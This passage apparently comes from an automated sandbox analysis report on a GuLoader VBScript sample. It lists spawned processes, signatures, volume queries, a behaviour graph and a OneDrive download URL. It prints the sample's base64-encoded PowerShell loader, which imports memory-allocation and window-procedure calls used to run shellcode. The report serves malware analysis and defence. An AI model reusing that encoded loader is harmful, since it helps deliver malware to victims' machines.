WAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7F9.tmp" "c:\Users\user\AppData\Local\Temp\ridmj1ad\CSC3DE241659FC44F82A3F695B8E7FD432F.TMP" Jump to behavior

Language, Device and Operating System Detection
barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 562140 Sample: IMG 0045434.vbs Startdate: 28/01/2022 Architecture: WINDOWS Score: 88 22 Found malware configuration 2->22 24 Yara detected GuLoader 2->24 26 Potential malicious VBS script found (suspicious strings) 2->26 28 2 other signatures 2->28 8 wscript.exe 2 2->8         started        process3 signatures4 30 VBScript performs obfuscated calls to suspicious functions 8->30 32 Wscript starts Powershell (via cmd or directly) 8->32 34 Very long command line found 8->34 36 Encrypted powershell cmdline option found 8->36 11 powershell.exe 25 8->11         started        process5 process6 13 csc.exe 3 11->13         started        16 conhost.exe 11->16         started        file7 20 C:\Users\user\AppData\Local\...\ridmj1ad.dll, PE32 13->20 dropped 18 cvtres.exe 1 13->18         started        process8
⊘No contacted IP infos

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://onedrive.live.com/download?cidO false
    		high